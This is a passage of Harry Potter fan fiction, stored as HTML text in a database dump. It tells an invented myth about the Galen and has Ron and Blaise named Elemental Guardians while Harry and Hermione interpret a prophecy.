attention.</p>\n\n<p>It was about a very powerful and very beautiful female, by the name Nuk&#8217;del&#8217;sheat. She had chosen a male named Andr&#8217;kelende, and wanted to have him as the father of her children. Andr&#8217;kelende however, did not want to, and refused Nuk&#8217;del&#8217;sheat. He was in love with another Goddess, Shemel. When Nuk&#8217;del&#8217;sheat understood that, she became angry. She believed that she, as a female, the one who gave birth to the next generation, was the one who should decide everything, and did not accept Andr&#8217;kelende&#8217;s &#8216;No&#8217;. Andr&#8217;kelende believed in equality, and would not marry on Nuk&#8217;del&#8217;sheat&#8217;s terms, as he loved Shemel.</p>\n\n<p>Nuk&#8217;del&#8217;sheat tried to steal Andr&#8217;kelende from Shemel, but she failed.</p>\n\n<p>She tried to kill Shemel, but she failed.</p>\n\n<p>She tried to kill Andr&#8217;kelende, but she failed.</p>\n\n<p>All of Nuk&#8217;del&#8217;sheat&#8217;s plans and conspiracies failed, but she was a great Seer. Nuk&#8217;del&#8217;sheat predicted that one day in the future, one of her blood would be born, and he would be of great power, and destroy the fruits of Andr&#8217;kelende and Shemel. He would come when the time was right, and he would bring great dark. But Nuk&#8217;del&#8217;sheat despised all men now, and did not want to have any of them.</p>\n\n<p>Then, Nuk&#8217;del&#8217;sheat invoked great power, and made herself pregnant, without a male&#8217;s aid. She got a son, and she named him Somr Ansalesh, which means Revenge&#8217;s Justice.</p>\n\n<p>But the other Gods did not. They called him Galen, Twisted One, for he had no father.</p>\n\n<p>But Nuk&#8217;del&#8217;sheat was proud, and said that her son, many generations removed, would carry the power of a female, though being a male, and he would rule the world. <b></b></p>\n\n<p>~*~</p>\n\n<p>-------------------------------------</p>\n\n<p><i>Galen</i>: I picked this from my own language. The first part, <i>Gal,</i> means <i>Crazy (twisted),</i> whiles the second part, <i>en, </i>is the number <i>one</i>. Also, you <i>can</i> in fact use <i>galen</i> as a word. (Especially where I live) If you say <i>&#8216;Du er galen&#8217;</i> in Norwegian, it means <i>&#8216;You are crazy/mad/insane&#8217;</i>. We use <i>gal</i> the most, though. And we write <i>gal. </i>Write <i>galen</i><i>\n\n</i>on a test, and you will <i>not</i> get top marks&#8230;</p>\n\n<p>It&#8217;s pronounced GA-len, <b><i>not</i></b> GAH-len or GAY-len. It&#8217;s important not to add the H, &#8216;cause then it sounds weird.</p>\n\n<p>======================</p>\n\n<p>Well, that&#8217;s that. Chapter fifteen finished. There is not many chapters left now. Oops. Shouldn&#8217;t have said that&#8230;</p>\n\n<p>Thanks to <i>dragonmaster,</i> for your information. I am fully aware that my &#8216;Adonis&#8217; story is not complete, nor completely correct, but please bear with me. The point with it was to show that the name Adonis pointed to a very handsome male. I will not change it, but add that I know it is very incomplete. Thanks again.</p> '),
	(234, 16, ' <p><b>Chapter Sixteen: Guardians</b></p>\n\n<p>Albus Dumbledore looked curiously at the two men, who&#8217;d introduced themselves as Asham Narnek and William Anderson. Both of them were obviously not British. Asham wasn&#8217;t a name he&#8217;d heard before, and William pronounced his name in a very weird way, which made Dumbledore believe he was Scandinavian.</p>\n\n<p>&#8220;Professor Dumbledore,&#8221; Mr Narnek said smoothly. &#8220;We&#8217;re here because of two of your students.&#8221; He made a dramatic pause. &#8220;We are the Elemental Guardians for Fire and Water.&#8221;</p>\n\n<p>If he&#8217;d expected that Dumbledore should fall off his chair in shock, he was disappointed. Dumbledore kept his surprise to himself. &#8220;Indeed,&#8221; said he. &#8220;And I believe that the two students are supposed to be your apprentices?&#8221;</p>\n\n<p>Asham Narnek smiled pleasantly. &#8220;It appears that you know quite a bit about Elemental Guardians, no?&#8221;</p>\n\n<p>&#8220;I do, I do. The Elements have chosen, then?&#8221; Dumbledore answered. The two males nodded. &#8220;Who are the students you want me to fetch?&#8221;</p>\n\n<p>~*~</p>\n\n<p>Ron felt strangely nervous as he looked at the three men. He&#8217;d only been in the Headmaster&#8217;s office once, and that was when he&#8217;d first become Head Boy. Professor Dumbledore started speaking.</p>\n\n<p>&#8220;Mr Weasley, Ms Zabini, so nice of you to come.&#8221; He smiled at them. &#8220;Allow me to present these gentlemen, William Anderson and Asham Narnek, to you.&#8221;</p>\n\n<p>Ron looked at the two men, one tall and blue-eyed with light brown hair, another smaller, with brown eyes, dark skin, and dark hair, streaked with grey. Ron immediately knew that they were older than they looked.</p>\n\n<p>&#8220;I&#8217;ll let them tell you why you&#8217;re here,&#8221; the Headmaster continued</p>\n\n<p>The man called William stepped forward. &#8220;Throughout recorded history,&#8221; he began, &#8220;there have been Elemental Guardians. They Guard the elements Fire, Earth, Water and Air. The Guardian&#8217;s task is to watch them, guide them, and advise them, sometimes command them, and follow them, whether they pay the Guardian any attention or not.&#8221; The man looked at Ron. &#8220;The Guardian is the Element&#8217;s servant and master. When the Element finds it appropriate, it will chose an apprentice to its Guardian. This apprentice will become the next Guardian. They usually do this at entirely different times, though this time they&#8217;ve done it at the same time, with only small intervals.&#8221; Ron&#8217;s eyes lit up when he understood what the man was talking about. Was he chosen? William continued. &#8220;We believe this is because of the great evil, who is called Voldemort,&#8221;-Ron and Blaise flinched- &#8220;because the Elements are stronger when two are guiding them, and the only time the Elements can have two Guardians, is in the apprentice&#8217;s training period.&#8221;</p>\n\n<p>&#8220;To make it short,&#8221; the man called Asham interrupted, &#8220;the two of you have been chosen as the next Elemental Guardians, for Water,&#8221; he looked at Blaise, &#8220;and Fire.&#8221; His eyes fixed on Ron.</p>\n\n<p>Ron&#8217;s head started to spin. He was going to be an Elemental Guardian! What luck! Something as big as that being dropped right into his hands&#8230; But what had the man said about &#8216;being the Element&#8217;s servant and master&#8217;? The &#8216;master&#8217; he could handle, but &#8216;servant&#8217;? Well, perhaps he <i>could</i> do something against Voldemort&#8230; Perhaps he <i>could</i> be famous after all? And Blaise would be an Elemental Guardian, too! What a couple they would make! The thought of Blaise cooled him down, and he shot a look at her. She&#8217;d taken his hand, and was clutching it, looking as if she couldn&#8217;t believe what was happening.</p>\n\n<p>The man, Asham, obviously hadn&#8217;t finished. &#8220;-remember, no one is to know what you are.&#8221;</p>\n\n<p><i>What?! </i>Ron thought. <i>No one is to know? How unfair!</i> However, his train of thoughts were broken when he felt Blaise&#8217;s hand on his arm. Her eyes shone.</p>\n\n<p>&#8220;Isn&#8217;t this great, Ron?! We&#8217;ll be able to support the Elements! They&#8217;ve chosen us to help them in the final battle!&#8221; Blaise obviously had grasped something he hadn&#8217;t. <i>Final battle?</i><i>\n\n</i>She also seemed to sense his confusion. &#8220;Don&#8217;t you see, Ron? The Elements have sensed the fight between the Children of Power and Voldemort, and they&#8217;ve understood that they need help to stabilise themselves &#8211;or something like that. They know they need to unite, and perhaps they even want to fight!&#8221; Blaise obviously knew something he didn&#8217;t, too, about those Elements. Courtesy of Hermione, no doubt. <i>But what can I do as a Guardian? </i>He wondered. &#8220;Isn&#8217;t that great, Ron? We&#8217;ll be able to help!&#8221;</p>\n\n<p>Well, when she said it like that&#8230; it didn&#8217;t really sound that bad. At least he&#8217;d know what he&#8217;d done, if no one else did. A nice story to tell his children. </p>\n\n<p>Ron didn&#8217;t even notice what he was thinking; he was way too busy nodding in agreement to Blaise&#8217;s words. She was obviously excited about it, and he couldn&#8217;t help but think that she was very beautiful when excited.</p>\n\n<p>Asham Narnek nudged William. &#8220;Told you so,&#8221; he said, grinning.</p>\n\n<p>William managed not to groan. He, too, could see the sparks practically flying between the two of them. He smiled wryly. The kids didn&#8217;t know it, but having three male Guardians, and a female Water Guardian was something of a rarity. In fact, no one could ever remember it happening.</p>\n\n<p>No one knew why, but the Elements listened to females rather than males, but yet, very few females were chosen as Guardians. Far back in time there had been a female Fire Guardian, and she&#8217;d managed to stop several catastrophes. She couldn&#8217;t stop Atlantis from sinking into the ocean though.</p>\n\n<p>But a female Water Guardian! Water was the Element which easiest made &#8216;peace&#8217; with the other Elements. Not that they were ever at &#8216;war&#8217;, they just didn&#8217;t always co-operate. But Water easily had the greatest influence, especially on Air and Earth. And with this, er, <i>connection</i> to Fire, this would be a very fine &#8216;peace&#8217; indeed. They needed that, in what was to come.</p>\n\n<p>~*~</p>\n\n<p>Hermione had decided that researching in the Hogwarts library would be a good thing. It was after all, one of the biggest libraries in the world, and maybe she could find something about what Voldemort was there.</p>\n\n<p>For Voldemort obviously was a very formidable foe, so perhaps someone had predicted his coming. As much as Hermione hated to admit it, she had started to believe in &#8230; <i>Seeing.</i> After all, Harry was a Seer, so it <i>had </i>to be true&#8230;</p>\n\n<p>She picked up a book. <i>&#8216;Old Prophecies&#8217; </i>by<i> Cecilia Nensh.</i> She remembered having seen that before. Well, if one was looking for predictions, what was better than a collection of them?</p>\n\n<p>The prologue was written by the author, and was about a family member of hers, who had been a Seer.</p>\n\n<p><i>&#8216;My great-aunt, Celia, was what is called a true Seer. Every now and then she would go into a trance, and say some words, which often didn&#8217;t have any meaning. She did this quite often, and was always insistent on having other people around all the time, so no predictions would go lost, as she could never remember them. Most of them did though, in a fire a few years after her death. Only one did not. It was the only one which survived the fire. It seemed like it didn&#8217;t want to be destroyed. It is a strange prophecy, which no one can yet find any meaning to. But it has a meaning for me. I myself am no Seer, but the first time I saw this prophecy I felt that it was my responsibility to record it, and also other prophecies, as Seeing is a very inaccurate thing, and many great Seers and Seeresses were never acknowledged for what they really were. In my family Aunt Celia was looked upon as half-mad, and no one really cared about her &#8216;mad ramblings&#8217;. It was up to me to preserve her work, and that of other Seers.&#8217;</i></p>\n\n<p>Hermione raised her eyebrows<i>. Very interesting. Cecilia obviously had some kind of Destiny or Foresight Talent. Very interesting indeed.</i></p>\n\n<p>~*~</p>\n\n<p>Harry was reading through the book about Talents for the zillionth time. Somehow he knew that something was missing. He blamed this on his different Seeing Talents, and cursed the day he&#8217;d taken up Divination with Trelawney. It wasn&#8217;t the subject or the teacher&#8217;s fault, but he was in a bad mood, and felt like cursing someone in the non-magical way. He was just being a normal teen-ager for once, throwing a temper tantrum.</p>\n\n<p>He sighed, and slammed the book shut. He didn&#8217;t really believe in coincidences, so it had to be Fate who decided that a hidden page should flap its way out of the book. He picked it up.</p>\n\n<p><i>&#8216;Dream -A Talent few ever know they have&#8217;</i></p>\n\n<p><i>&#8216;Dream is a Talent which is extremely difficult to discover. It gives a witch or a wizard the ability to see and understand things when he or she is asleep, things the one with a Dream Talent would not see or understand while being awake.&#8217; </i></p>\n\n<p><i>&#8216;Sometimes, a wizard -or a witch- with a Dream Talent will have a strange dream. He or she will dream about familiar things, persons or places, and then, in the same dream, see something quite unfamiliar, but which has a connection to what the wizard &#8211;or witch- already knows. Later, when awake, they will sometimes discover that what they dreamt about really is connected in some way, and not only a figment of imagination. For example, a witch with a Dream Talent sees a dog while she&#8217;s awake. She then dreams about the dog, and in this dream she sees the dog&#8217;s owner, who she has not seen in reality. The witch will probably dismiss this as her own imagination, but if she ever should meet the dog&#8217;s owner when awake, she would probably see the same person she saw in her dream.&#8217; </i></p>\n\n<p><i>&#8216;That way, Dream is a kind of Seer Talent; however, that is not only what Dream is. A person with a Dream Talent can also call a person to sleep for as long as he or she wishes. It is probably from here we have the fairytale of &#8216;Sleeping Beauty&#8217;. A Dream Talent can also keep a person awake forever, and thus, the Dream Talent can be deadly, as we know that you will die if you go without sleep for too long.&#8217;</i></p>\n\n<p><i>&#8216;Another thing this Talent can do is banish nightmares, but it can also summon them. Therefore, all who have a Dream Talent remember to use it wisely. The Talent can also help people with sleeping problems, whether it is falling asleep or staying awake, no matter what the reason is.&#8217;</i></p>\n\n<p>Harry stared at the page, his bad mood completely forgotten. Then he re-read it, and smiled. <i>So </i>that&#8217;s<i> where my sleeping troubles went!</i> He chuckled. Now all he had to do was to go to Hermione each time he was so stressed that he started having nightmares.</p>\n\n<p>He was just about to go to find her, when she called for him.</p>\n\n<p>&lt;Harry?&gt; she called. He jumped slightly at the sudden voice in his head.</p>\n\n<p>&lt;Yes, Hermione?&gt; he answered.</p>\n\n<p>&lt;Come to the Library, quick. I have something to show you.&gt;</p>\n\n<p>~*~</p>\n\n<p>Hermione was momentarily startled when Harry came up behind, spun her around and pressed his warm lips to hers, kissing her deeply. She recovered quickly however, and responded in turn. He moaned softly when she raked her hands through his hair. A thrilling sensation went through her body as it always did when he kissed her.</p>\n\n<p>They pulled apart, both slightly breathless. He bent down and gave her a loving peck on her cheek, and she sighed happily. As troubled as it had started out, their friendship from their first years at Hogwarts had returned, many times strengthened because of the difficulties they&#8217;d overcome. The added bonus of kisses and touches were something neither of them minded in the least.</p>\n\n<p>&nbsp;&#8220;What did you have to show me?&#8221; Harry asked. Hermione smiled. All she had to do was call, and he&#8217;d come. Of course, it seemed like his intentions weren&#8217;t always the same as hers. &#8220;I heard that,&#8221; he muttered and kissed her lips again. &#8220;You think too loudly.&#8221;</p>\n\n<p>Hermione blushed. &#8220;So what? Does it bother you that I think nice thoughts about you? I can&#8217;t remember thinking that I <i>disliked</i> those other intentions of yours, either.&#8221;</p>\n\n<p>He grinned. &#8220;Well, no. But I doubt you called me here to make me listen to those thoughts. I rather think it was some other thoughts your pretty little head has come up with.&#8221;</p>\n\n<p>&#8220;You&#8217;re a flirt, Mr Potter,&#8221; she pouted.</p>\n\n<p>&#8220;Am I now?&#8221; he asked, and started planting small kisses down her neck.</p>\n\n<p>Small shivers made their way through her body, and she pushed him away. &#8220;I didn&#8217;t call you for <i>that</i> either, even though you seem rather one-tracked today,&#8221; she said. &#8220;But I have found something that might interest you.&#8221; She picked up a book she&#8217;d been reading.</p>\n\n<p>&#8220;<i>&#8217;Old Prophecies&#8217;</i>?&#8221; Harry asked. &#8220;Thought you were rather, er, distrustful of that art?&#8221;</p>\n\n<p>Hermione swatted him. &#8220;I just read a prophecy, made by Celia Nensh. It mentions a certain <i>&#8216;Galen Antesh&#8217;</i>,&#8221; she said.</p>\n\n<p>Harry&#8217;s attention was immediately hers. Not that it hadn&#8217;t been&#8230; &#8220;Galen Antesh<i>? Antesh, like in the very first of the Children of Power?</i> It means <i>Twisted Power</i>, doesn&#8217;t it?&#8221;</p>\n\n<p>Hermione nodded and Harry slumped into the nearest chair. A few fifth years rounded the corner and looked curiously at them. Harry quickly Persuaded them to forget the incident, and put up some wardings around the part in the library where they were. Hermione scolded him for being so careless. Then, she read the prophecy for him.</p>\n\n<p>&#8220;This is how it goes,&#8221; she said. </p>\n\n<p><i>&#8216;In a time of Darkness, a Prophecy will come true,</i></p>\n\n<p><i>By a Child of Power, in ancient times, it is made.</i></p>\n\n<p><i>Though by one they are hated, these powerful few,</i></p>\n\n<p><i>And this one they will fight, now and forever,</i></p>\n\n<p><i>For he is the Dark, and they are the Light.</i><i></i></p>\n\n<p><i>The Dark one tried to destroy this foretelling,</i></p>\n\n<p><i>He failed, yet succeeded,</i></p>\n\n<p><i>For it will prevail through his child.</i></p>\n\n<p><i>But the Twisted Power is born in his brother,</i></p>\n\n<p><i>Their Destinies tied forever in battle,</i></p>\n\n<p><i>And brother will fight brother,</i></p>\n\n<p><i>Kin will fight kin.</i></p>\n\n<p><i>Ancient Evil will spring from the brother&#8217;s blood, </i></p>\n\n<p><i>And a Galen Antesh will he be.</i></p>\n\n<p><i>The Twisted, he will be named.</i></p>\n\n<p><i>Few will dare to speak the name he has stolen,</i></p>\n\n<p><i>Fewer will know what his real name is.</i></p>\n\n<p><i>And the chances of the Light will be small,</i></p>\n\n<p><i>As The Twisted Darkness has separated the Two.</i><i></i></p>\n\n<p><i>But as Hope withstand,</i></p>\n\n<p><i>And the wish for Freedom is strong,</i></p>\n\n<p><i>When Trust is regained,</i></p>\n\n<p><i>The Children are united,</i></p>\n\n<p><i>Peace can be sought, and Darkness fought.&#8217;</i></p>\n\n<p>Hermione paused and looked expectantly at Harry.</p>\n\n<p>&#8220;Wow, it&#8217;s even rhyming. Some places,&#8221; said he, dryly.</p>\n\n<p>Hermione rolled her eyes heavenwards. &#8220;Be serious!&#8221; she exclaimed. &#8220;Don&#8217;t you think it might concern us in any way?&#8221;</p>\n\n<p>&#8220;Perhaps,&#8221; said he. &#8220;The prophecy it mentions is probably Rowena Ravenclaw&#8217;s, and <i>&#8216;But the Twisted Power is born in his brother, their Destinies tied forever in battle&#8217;</i>, probably refers to Slandrin Slytherin and his brother&#8217;s descendant, Tom Riddle. Don&#8217;t ask me how I know that, it just feels right.&#8221; He thought for a while. &#8220;We have to pick this one to pieces,&#8221; he said.</p>\n\n<p>The next few hours they spent trying to make some meaning of the prophecy.</p>\n\n<p>&#8220;Okay,&#8221; Harry said at last. &#8220;I think we&#8217;ve got it now. Let&#8217;s go through it one more time, to check if we have everything.&#8221;</p>\n\n<p>&#8220;<i>&#8216;In a time of Darkness, a Prophecy will come true, by a Child of Power, in ancient times, it is made</i>.&#8221; Hermione began. &#8220;We agreed that was about Rowena Ravenclaw&#8217;s Prophecy. Then it&#8217;s <i>&#8217;Though by one they are hated, these powerful few, and this one they will fight, now and forever, for he is the Dark, and they are the Light.&#8217;</i>, which is about the fight between the founders, Rowena and Godric being &#8216;the Light&#8217;, and Slandrin &#8216;the Dark&#8217;.&#8221;</p>\n\n<p>&#8220;Then comes the more difficult part,&#8221; broke Harry in. &#8220;<i>&#8216;The Dark one tried to destroy this foretelling, He failed, yet succeeded.&#8217;</i>&#8221; </p>\n\n<p>&#8220;&#8217;The Dark one&#8217; is Slandrin, and though he succeeded in casting the Curse, it was halfway undone by Salazar.&#8221;</p>\n\n<p>Hermione nodded. &#8220;Yes, and then it&#8217;s:<i> &#8216;But the Twisted Power is born in his brother, their Destinies tied forever in battle, and brother will fight brother, kin will fight kin.&#8217;</i>&#8221;</p>\n\n<p>&#8220;We agreed that it meant that &#8216;The Twisted Power&#8217; is Voldemort, and &#8216;the brother&#8217; is Salazar, didn&#8217;t we?&#8221;</p>\n\n<p>Harry nodded, and Hermione continued. &#8220;Then it&#8217;s that about the Destinies, about Salazar and Slandrin always fighting, even when they&#8217;re both dead, through you and Voldemort.&#8221;</p>\n\n<p>&#8220;They kind of switched placed though,&#8221; Harry commented. &#8220;Last time it was Salazar who fought for the light, now it&#8217;s Slandrin.&#8221;</p>\n\n<p>&#8220;But I&#8217;m Salazar&#8217;s descendant,&#8221; Hermione said, somewhat injured.</p>\n\n<p>&#8220;What a family quarrel,&#8221; said Harry, dryly.</p>\n\n<p>Hermione shook her head in resignation. &#8220;Anyway, it continues. <i>&#8216;Ancient Evil will spring from the brother&#8217;s blood, and a Galen Antesh will he be. The Twisted, he will be named.&#8217;</i>&#8221;</p>\n\n<p>&#8220;If the Galen Antesh is Voldemort, then we&#8217;ll have to search for what a Galen Antesh really is,&#8221; she said. Then she sighed. &#8220;What&#8217;s the point with this?&#8221; she said, frustrated. &#8220;A whole prophecy just to tell us that Voldemort is something called &#8216;Galen Antesh&#8217;?&#8221;</p>\n\n<p>&#8220;I guess it&#8217;s supposed to help us. Even though we don&#8217;t know, we can assume. I think these prophecies are a kind of guide,&#8221; Harry said. &#8220;They&#8217;re supposed to show us the right path, push us in the right direction, but very much is so up to ourselves.&#8221; Then he added, dryly, &#8220;Or perhaps the Seeress just had her channel tuned in wrong.&#8221; <b></b></p>\n\n<p>Hermione looked disdainfully at him, but nodded. &#8220;Yes, perhaps you&#8217;re right. And if it really is Voldemort the prophecy speaks about, it speaks about us, too. The last few lines are, <i>&#8217;Few will dare to speak the name he has stolen, Fewer will know what his real name is. And the chances of the Light will be small, as The Twisted Darkness has separated the Two. But as Hope withstand, And the wish for Freedom is strong, when Trust is regained, The Children are united, Peace can be sought, and Darkness fought.&#8217;</i>&#8221;</p>\n\n<p>It was Harry&#8217;s turn to nod. &#8220;<i>&#8216;Few will dare to speak the name he has stolen&#8217;</i> probably refers to Voldemort, and <i>&#8216;fewer will know what his real name is&#8217;</i>, which must be Tom Marvolo Riddle. We are mentioned as &#8216;the Children&#8217;.&#8221;</p>\n\n<p>&#8220;Can&#8217;t get away from these prophecies, can we?&#8221; Hermione said, exasperated.</p>\n\n<p>&#8220;Apparently not,&#8221; Harry agreed. &#8220;We should start looking for &#8216;the Galen Antesh&#8217;, and &#8216;the Twisted Power&#8217;, and try finding something on that. How nice.&#8221;</p>\n\n<p>Hermione nodded. &#8220;You know, I&#8217;ve thought-&#8220;</p>\n\n<p>&#8220;You have?&#8221; Harry said in mock-shock. &#8220;I&#8217;d never guess!&#8221;</p>\n\n<p>Hermione swatted him again. &#8220;About the first prophecy, by Ravenclaw. It mentions <i>&#8216;As Power hate Power, As Power distrust Power&#8217;.</i> I guess this is translated from the Children of Power language, to English, or at least Anglo-Saxon at first. If you read it in <i>our </i>language you can get <i>&#8216;As Pectal hate Citatio, As Citatio distrust Pectal&#8217;.</i>&#8221;</p>\n\n<p>Harry looked intently at her, and then he nodded. &#8220;You might be right. That translation is probably why it was rather difficult to decipher the prophecy.&#8221;</p>\n\n<p>Hermione nodded. &#8220;And it also clarifies that rather confusing part, considering, er, our somewhat&#8230;&#8221;</p>\n\n<p>&#8220;Turbulent start?&#8221; Harry suggested, and Hermione nodded sheepishly. &#8220;Well, we got over it, didn&#8217;t we?&#8221; he said, and took her hand, pulling her into his lap. &#8220;I&#8217;m quite sure I was right when I said those prophecies are here to guide us. The first one was to help us so we could find each other &#8211; not that it helped <i>that</i> much - while this one shall lead us to <i>&#8216;the Galen&#8217;,</i> who quite likely is Voldemort.&#8221;</p>\n\n<p>Hermione sighed and laid her head on his shoulder. &#8220;But where do we find exactly <i>what</i> this <i>&#8216;Galen&#8217;</i> is?&#8221;</p>\n\n<p>To that, Harry could give no answer, as it was usually Hermione who had them, anyway.</p>\n\n<p>~*~</p>\n\n<p>Ron had packed his stuff. Everything was in order, he was ready to leave. Professor Dumbledore had told him that this could not wait, and that he would have to take his NEWTs later. Ron had snorted at that &#8211;silently of course. What did he need NEWTs for, when he was an Elemental Guardian? But unfortunately, you could not make a living out of being an Elemental Guardian, and both Asham and William had normal jobs. William even had a wife and two sons.</p>\n\n<p>&#8220;Well then,&#8221; Asham said, when Ron returned to Dumbledore&#8217;s office. &#8220;We&#8217;ll have to leave the school, since I cannot Apparate through the wards.&#8221; </p>\n\n<p>Ron nodded, just as Blaise came back from her room, she too having gathered her stuff. William smiled gently at her. </p>\n\n<p>&#8220;Ready?&#8221; he said, and she nodded. &#8220;This will feel rather weird,&#8221; he warned, and took her hand. He put the other hand into a small pitcher of water, and&#8230; <i>became</i> water.</p>\n\n<p>Ron stared in shock as the two figures suddenly turned into water. They were shaped as humans, yet still they <i>were</i>\n\n<i>water</i>. With a gurgling sound the two figures were drawn into the pitcher &#8211; Ron couldn&#8217;t understand how that little thing could hold that much water &#8211; and disappeared. A black shadow passed over the surface, and the two were gone.</p>\n\n<p>Asham chuckled at Ron&#8217;s face. &#8220;No worries, kid, the girl will be all right.&#8221;</p>\n\n<p>&#8220;W-what did he do?&#8221; asked Ron, confused.</p>\n\n<p>&#8220;He just travelled by his element,&#8221; Asham stated, quite unfazed.</p>\n\n<p>&#8220;Why can&#8217;t we do that? Why are we going to Apparate?&#8221; Ron asked.</p>\n\n<p>&#8220;Because Fire is rather unreliable. If I introduced you to fire travelling now, you&#8217;d most likely get burned,&#8221; he answered. &#8220;There is a danger with Water too, but William had to take the chance, because he can&#8217;t Apparate.&#8221;</p>\n\n<p>&#8220;Oh?&#8221; said Ron, curiously. &#8220;Why?&#8221;</p>\n\n<p>Asham laughed. &#8220;Quite simply because he&#8217;s a Muggle. Can&#8217;t do a single bit of magic.&#8221; Asham then turned to Dumbledore. &#8220;We&#8217;ll have to go now. I have to tell the boy&#8217;s parents. Unfortunately I can&#8217;t just take him with me, since his parents will get worried.&#8221; He looked rather miffed at the thought.</p>\n\n<p>~*~</p>\n\n<p>Harry and Hermione were rather shocked to find out that Ron and Blaise were Elemental Guardians. Harry was careful to shield his emotions from the two Empaths though, for he was rather pleased. Now, Ron had something of his own, something he, Harry Potter, could not take from him. Harry hoped it would teach him to accept his position, and not crave others&#8217;. He had always known that Ron hungered to have what he didn&#8217;t have, and he knew that while Ron had hoped that he once could surpass the great Boy-Who-Lived, each failure had made him more bitter, and more determined. He had never said anything, knowing that Ron himself had to realise that once he stopped reaching for the unreachable, he could truly be content with his life. Harry himself had no difficulties in accepting a second place, but being the defeater of Voldemort, it was difficult to come out as the second best.</p>\n\n<p>But now, Ron had something Harry could never have (even though Harry had much Ron could never have), and he could actually <i>do </i>something for the Light, and Harry <i>knew </i>Ron wasn&#8217;t, and would never be a Dark Wizard. He had known that for a while, since second year, when his Destiny Talent made one of its rare lapses into another person&#8217;s destiny. While there were many paths Ron could chose, none of them had been towards evil and darkness. Against loneliness and bitterness, perhaps, but he was definitely not going towards a fate as a Dark Wizard.</p>\n\n<p><i>And now,</i> Harry thought wryly, <i>Blaise is his destiny. She knows how to handle him, now when he&#8217;s stopped blackmailing her&#8230;</i>\n\n</p>\n\n<p>Hermione looked strangely at him, having picked up that small stitch of amusement.</p>\n\n<p><i>That </i>news, however, was not the only piece of information Professor Dumbledore had for them that evening. One of the Order&#8217;s researchers, a man called Daniel, had found something which spoke of an ancient South-American God, called the Galen. Harry swore he saw Hermione&#8217;s ears actually <i>perk </i>when he said that.<b>\n\n</b>The Headmaster was, of course, very interested when he found out that they&#8217;d found a prophecy which mentioned the &#8216;Galen Antesh&#8217;.</p>\n\n<p>When Dumbledore had recited the &#8216;fairy-tale&#8217;, he found both teens deep in thought, though Hermione was slightly green.</p>\n\n<p>She turned to Harry. &#8220;What kind of &#8216;great power&#8217; can this Nuk&#8217;del&#8217;sheat have invoked to make herself pregnant?&#8221; she asked, sounding quite horrified. &#8220;This can&#8217;t possibly be true, even though it mentions the Galen, and all the names are in the Children of Power&#8217;s Language.&#8221; She shuddered. &#8220;It&#8217;s just sick.&#8221;</p>\n\n<p>Harry pinched the bridge of his nose. &#8220;Actually, it is possible&#8230;&#8221; he said slowly. Both Hermione and Dumbledore raised their eyebrows. &#8220;It can be done in several ways,&#8221; continued Harry. &#8220;Firstly, you can by magic complete the processes of human cloning, which Muggle technology still cannot do. You know; the merging of an egg cell without a nucleus, and a single nucleus taken from another cell. With magic this can be done perfectly, so the result will not die, or in any other way be defective.&#8221; He raised his eyebrows at the other two. &#8220;I doubt however, that Nuk&#8217;del&#8217;sheat had the technology or the knowledge to be able to do this.&#8221;</p>\n\n<p>Hermione nodded impatiently, knowing that he had another possibility ready. &#8220;Yes, but then how?&#8221;</p>\n\n<p>Harry grinned. &#8220;You&#8217;re sure you want to know?&#8221; he asked. Hermione glared at him, and he snickered. &#8220;Simple. Nuk&#8217;del&#8217;sheat could have been a Shapeshifter.&#8221; He looked pointedly at Hermione. &#8220;You are aware that I can actually become a mother?&#8221;</p>\n\n<p>Hermione&#8217;s jaw dropped. &#8220;You- You mean- Saying- Shift into a-&#8221; </p>\n\n<p>&#8220;You weren&#8217;t aware of that,&#8221; Harry stated dryly.</p>\n\n<p>Hermione was mortified. &#8220;That&#8217;s gross,&#8221; she said lamely.</p>\n\n<p>Harry turned serious. &#8220;Yes, it is, but it can have happened. And of course, we don&#8217;t know the limits of Nuk&#8217;del&#8217;sheat&#8217;s power. She might have just <i>created</i> a child. I guess we&#8217;ll never know. All we know, is that Slandrin Slytherin probably was her son&#8217;s descendant, and that Slandrin played a part in that which resulted in Voldemort&#8217;s counterpart; me.&#8221; He snuck a glance at Hermione. &#8220;Well, half of Voldemort&#8217;s counterpart, anyway.&#8221; Then he sighed. &#8220;Fate truly has a weird sense of humour.&#8221;</p>\n\n<p>Hermione&#8217;s eyes suddenly widened. &#8220;If we make a guess,&#8221; she said, &#8220;and this &#8216;son, many generations removed&#8217;, as this little abhorrent <i>tale</i> says, is Voldemort.&#8221;</p>\n\n<p>The two males nodded, and she continued. &#8220;Doesn&#8217;t that mean that I&#8217;m her descendant too?&#8221;</p>\n\n<p>&#8220;Oh,&#8221; said Harry, suddenly startled. &#8220;I didn&#8217;t think of that.&#8221;</p>\n\n<p>Hermione paled, and shuddered. &#8220;I&#8217;m really a result of such a sick, sick thing?&#8221; she asked timidly.</p>\n\n<p>&#8220;Hermione,&#8221; Harry sighed, and laid an arm comfortingly around her shoulder. &#8220;You shouldn&#8217;t let that get to you. There are lots of people who are her descendants, just think of the Malfoys! They&#8217;re Slandrin Slytherin&#8217;s descendants, and that makes <i>me </i>her descendant, too, through my mother. After so many years I&#8217;ll bet it&#8217;s thousands of people who have her as their ancestor.&#8221;</p>\n\n<p>Hermione seemed to find that satisfying, for she brightened considerably. Dumbledore just watched them with an amused smile.</p>\n\n<p>&#8220;It answers our question, however. We know what <i>the Galen </i>is now,&#8221; Harry said. &#8220;The tale say&#8217;s he&#8217;ll &#8216;carry the power of a female, though being a male.&#8217; I think that means that he&#8217;ll be a Pectal, but still, since he&#8217;s a male, he&#8217;ll be a Citatio too. Voldemort is both a Pectal and a Citatio, and that&#8217;s why he can Wander.&#8221;</p>\n\n<p>&#8220;Ah, yes,&#8221; Dumbledore suddenly said. &#8220;That truly answers a few questions. Another one just popped up, though. Since Voldemort is able to Wander, how come he doesn&#8217;t just Wander directly into Hogwarts as the two of you can do? It has bothered me quite a bit.&#8221;</p>\n\n<p>Harry frowned. &#8220;Yes, me too. Right now it&#8217;s my and Hermione&#8217;s wards which are preventing him, but I&#8217;m not so sure if that&#8217;s enough, when he is as powerful as the two of us combined&#8230;&#8221;</p>\n\n<p>&#8220;I think I know why,&#8221; Hermione said.</p>\n\n<p>&#8220;You do?&#8221; asked Harry.</p>\n\n<p>&#8220;Yes,&#8221; she answered. &#8220;Two of the founders of Hogwarts were a Citatio and a Pectal. I would assume that they put up wards to prevent any as powerful as themselves from entering.&#8221;</p>\n\n<p>&#8220;But why can the two of us Wander in then?&#8221; Harry asked, surprised.</p>\n\n<p>&#8220;Simple,&#8221; Hermione answered. &#8220;You&#8217;re their descendant. It wouldn&#8217;t be very practical for Godric and Rowena not to be able to Wander in, and since you&#8217;re 